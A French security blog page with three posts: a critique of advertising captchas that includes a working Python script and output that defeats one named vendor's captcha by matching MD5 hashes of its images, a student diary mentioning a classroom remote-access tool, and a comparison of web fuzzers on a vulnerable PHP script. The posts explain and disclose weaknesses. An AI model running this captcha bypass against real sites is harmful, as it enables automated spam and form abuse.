WEBlog de Félix Aimé

{ OpenSource Intelligence, Information Security, Information Warfare }

Tag: sécurité

Captcha-me if you can !

Ceux qui me connaissent savent à quel point je hais la publicité. Alors, lorsqu’une société lie la « sécurité informatique » à la publicité tout en arguant que leur solution possède « un niveau de sécurité équivalent à celui d’un Captcha classique », j’écris un article histoire de mettre les choses au clair.

Une société française qui fait ce qu’on appelle le « buzz » en ce moment, s’est amusée à réaliser – et l’idée, faut l’admettre, est très loin d’être bête – des captchas publicitaires. En gros, l’astuce est de recopier un superbe slogan publicitaire pour valider un formulaire – le captcha – histoire qu’il s’imprime bien dans notre mémoire. Cool, n’est-ce pas ?

Un captcha, qu’est ce que c’est ?

Un captacha est – pour faire simple – un système utilisé pour sécuriser un formulaire web (pour envoyer des commentaires, par exemple) contre le spam. En effet, le spam est généré par des programmes informatiques qui peuvent valider des formulaires automatiquement et donc, envoyer des messages en masse. Les captchas servent donc pour différencier un robot (un programme informatique) d’un humain (avec une réelle intelligence). Vous en avez tous vu, cela ressemble à ceci :

Aujourd’hui, il existe plusieurs types de captchas avec des niveaux de sécurité et de complexité différents. Voici une liste que je pense exhaustive : Des captchas full texte ; « drag’n’drop » (si, si : fail) ; audio ; vidéo ; à challenge ; images ; texte dans une image et de texte – bien déformé – dans une image.

Et les publicitaires arrivèrent.

L’idée de réaliser des Captchas publicitaires, d’un point de vue annonceur – et surtout psychologique, n’est assurément pas bête du tout. Cependant, on peut en dire autre chose d’un point de vue sécurité : la fonction première et réelle d’un tel système.

En effet, lier des slogans publicitaires à des captchas est aujourd’hui une mauvaise idée. Je m’explique. Tout d’abord, le service actuel (et je veux bien croire qu’il ne soit pas assez développé) ne propose pas des milliards de possibilités de publicités, contrairement à une chaine de caractères randomisée, ou, pour une meilleure interprétation mais un rendu moins significatif, les mots du dictionnaire.

Ainsi, il est possible, pour ce qu’on appelle « un pirate informatique » (en fait, dans ce cas là, un autre annonceur voulant spammer à ma méthode « old shool », sic.) de savoir, par le hash de cette dernière, quelle est l’image publicitaire qui est chargée. Voici un petit bout de code pour ce faire :

import re,hashlib,urllib2

server = "http://showcase-left.v1.api.adyoulike.com"

# hash => word to resolv.
resolv = {"c2dfef15b77b7e6e0802f186d805e524" : "meche lover"}

# Fonction lachement repris de :
# http://blog.nexua.org/python-a-day-1-remote-md5sum/
# Moi, j'l'aime bien.
def remote_MD5_sum(url, max_file_size=100*1024*1024):
    remote = urllib2.urlopen(url)
    md5 = hashlib.md5()
    total = 0

    while True:
        data = remote.read(4096)
        total += 4096

        if not data or total > max_file_size:
            break

        md5.update(data)

    return md5.hexdigest()

# Recuperation de la key
connMain = urllib2.urlopen(server + "/showcase/")
key = re.findall('/challenge/(.*)"><',connMain.read())[0]

# Recuperation du token
connToken = urllib2.urlopen(server + "/challenge/" + key)
token = re.findall('token : \'(.*)\',',connToken.read())[0]

# Recuperation MD5
hash = remote_MD5_sum(server+ "/image/" +token)

print "Token   : " + token
print "Key     : " + key
print "MD5     : " + hash
print "Phrase  : " + (resolv[hash])

Possédant une sortie à la con du type :

Token   : TfypawK258aYR2gpKpLqKqM_6cgEQ7hD
Key     : CMllh3nYbWscfzGE7g2ob10E3IDhWoff
MD5     : c2dfef15b77b7e6e0802f186d805e524
Phrase  : meche lover

Ce contournement pourrait lui-même être contourné sans changer l’image d’origine, tout simplement en la bourrant de commentaires Exifs randomisés à chaque appel de cette dernière. Toutefois, cette protection ne suffirait pas car elle pourrait elle-aussi contournée facilement en calculant l’entropie ou la valeur RVB de certaines zones de l’image. Bref, sauf changer à chaque génération le slogan de la publicité, ou la publicité (visuelle) elle-même – ce qui va à l’encontre même du principe de publicité, il est alors impossible de réaliser un système sûr, basé sur une publicité : même pas besoin d’OCR les enfants !

De l’avenir des Captchas publicitaires.

Comme nous l’avons vu, cette idée, bien que sympa pour certains annonceurs aux premiers abords, possède un réel problème de sécurité. Régies publicitaires, ne vous inquiétez pas, l’entropie et les hashs fonctionnent aussi pour des captchas en flash, audios ou vidéos. Enfin, après avoir déformé le street-art en street marketing, les créations artistiques en affiches de publicité, la publicité s’attaque maintenant à des dispositifs de sécurité, stoppons-cela.

CDAISI – S02E01

Résumé des épisodes : En ce moment en licence CDAISI, je réalise depuis le début d’année une série d’articles sur la formation afin de mettre un peu en avant ce qu’il s’y fait, de bien ou de mal, mes impressions etc.
Voir S02E02, S02E01, S01E03, S01E02, S01E01.

Les vacances de Noël sont passées et j’ai un scoop à vous proposer : nous sommes en 2011. Wahou. L’année 2011 rime pour moi avec l’abandon des études pour vivre de mes propres ailes et je n’ai qu’un mot à la bouche : ENFIN ! Cependant, il faut déjà finir cette licence, finir mon stage et trouver quelque chose de stable sur Paris pour l’année.

Vous l’aurez donc deviné : je fais un stage sur Paname me permettant de décompresser un peu. Bon c’est assez ric-rac point de vue argent, car je dois payer deux loyers et le train à cause de cette connerie d’alternance. De toute façon, chercher un stage en Full-sécurité aux alentours de Maubeuge revient à partir en quête du St Graal : cette ville est loin de tout. Je ne comprends pas comment on peut faire une telle formation dans une ville aussi reculée et morte économiquement. *ça, c’est dit.*

La progression des cours

En ce qui concerne les cours, ils commencent à être bon voir même très bon. Au programme, un très bon training sur Scapy de quelques jours, du reversing basique de binaires ELF sous forme de crackme sous gdb, des cours de synergologie/manipulation sous un angle théâtral et encore quelques cours de vulnérabilités « web » et physiques. Les prochaines semaines devraient être principalement consacrées aux vulnérabilités systèmes, ça risque d’être bien sympa également.

Et TinyRAT alors ?

Concernant le projet TinyRAT, ce dernier est terminé. Malheureusement nous ne sommes pas allés jusqu’où on voulait, car une partie du groupe s’est complètement désolidarisée du projet à tel point qu’on a dû le finir à deux.

Du côté client, une grande partie du code reste à faire contre la lutte heuristique mais également sur la persistance du binaire dans un environnement bien configuré (Accès au registre désactivé etc.). Le serveur de commandes quant à lui est fini et prêt à être sujet à quelques modifications futures suivant ce que voudra faire le client (Screenshots, envoi/réception de fichiers etc). Les notes finales sur le projet sont bonnes, mais le résultat aurait pu être encore mieux avec l’investissement de l’autre partie du groupe dans le projet. (Je ne vous cache pas que j’ai vraiment la haine sur ce point-là).

Les certifications

La grande question en suspens pendant les derniers épisodes était celle des certifications. Eh bien j’ai quelques nouvelles ! C’est donc de 170 à 220 euros la certification. A ce prix-là, je me suis dit qu’il était mieux d’en passer deux, CEH et ECSA. La première va surement être facile à passer, après, pour la deuxième Ich Allah, car en passer deux à la suite…

Et puis, vu que ce ce n’était pas assez de travail, j’ai décidé de me mettre en parallèle à apprendre le Chinois traditionnel sur Paris, dans le but de compliquer la chose… Sur ce, Keep update !

Fuzz or not to fuzz ?

Il y a quelques jours, un nouveau fuzzer d’applications web pointait le bout de son nez. Nommé SkipFish, ce dernier s’est annoncé comme une sorte de renouveau parmi les fuzzers d’applications web. Cependant, le buzz dépasse largement la technique et ce dernier possède encore beaucoup de défauts inhérents aux fuzzers. Faisons le tour des particularités des fuzzers et démontrons pourquoi un fuzzer ne remplacera jamais un cerveau bien entraîné à la chasse aux vulnérabilités.

De w3af (mon préféré…) à Skipfish en passant par Wapiti, le petit français : les fuzzers deviennent de plus en plus évolués pour déceler une très large variété de vulnérabilités ou d’information disclosures. Cependant, les applications web sont, comme toutes applications, systémiques. De ce fait, dans une grande majorité des cas, des conditions doivent souvent être remplies afin d’accéder à certaines vulnérabilités. Ces conditions (authentifications, patterns à respecter etc.), souvent additionnelles entre elles sont très largement omises par les fuzzers, ne lisant pas, sauf dans le cadre de certains PoCs, les informations contenues dans la page (tels que les names/types des champs inputs pouvant donner pas mal d’information sur la nature des données attendues en POST/GET). Ceci aboutissant le plus généralement à de faux négatifs et donc au passage à la trappe d’un très grand nombre de vulnérabilités potentielles.

Le nombre de requêtes vers une application ciblée durant une phrase de fuzzing est aussi à ne pas négliger. Ainsi, elles se comptent en dizaines de milliers, voir, centaines de milliers pour le petit dernier Skipfish laissant une trace plus que repérable dans les logs pouvant par la suite être interprétée par un IDS/IPS.

En parlant de dispositifs ajoutés un serveur web lambda nous pouvons de plus mentionner les WAF. Ces derniers ne permettront pas de déceler une vulnérabilité même si elle est présente dernière le reverse proxy et exploitable (par exemple en utilisant des attaques du type HPP, HPF ou même plus inhérentes aux services SGBD ; voir cette très bonne présentation pour plus de détails). Ce, pour la simple et bonne raison que les fuzzers sont développés pour déceler les vulnérabilités et non bypasser certaines protections tierces protégeant l’accès à ces vulnérabilités.

Bref, les tests d’intrusions sur les applications web en front-end avec un simple navigateur et quelques plugins ont encore de beaux jours devant eux, rien ne remplacera l’expérience de l’auditeur dans son travail tant dans l’analyse du code que dans une attaque en font-end. Cependant, fuzzer une application peut s’avérer utile en appoint, notamment en local.

Pour information, j’ai passé sur w3af et sur Skipfish le script php calendar avant de réaliser cet article. Voici ce qu’ils ont découverts :

[-] Skipfish :

Il a simplement découvert l’injection SQL et une XSS dans le formulaire d’authentification de la zone d’admin (et le dossier de la zone d’admin). Aucune SQL injection dans l’index de l’application ni même l’include locale présente aussi dans l’index de l’application.

[-] w3af :

Il découvre le full path disclosure lorsque la valeur de la variable lang passée en GET n’est pas celle attendue. Il découvre aussi la LFI et une XSS (que je n’avais pas vu, présente grâce à l’erreur de retour en cas de non inclusion du fichier) mais aucune SQL injection dans l’index là aussi. Il ne découvre pas la zone d’administration, donc pas d’SQL injection ou de XSS dans le formulaire d’authentification de cette dernière.

Je ferai peut-être, un audit plus complet, avec de vraies statistiques pour comparer les fuzzers avec un audit fait à la main.

PS : Merci à @wadael pour me pousser à faire des articles =)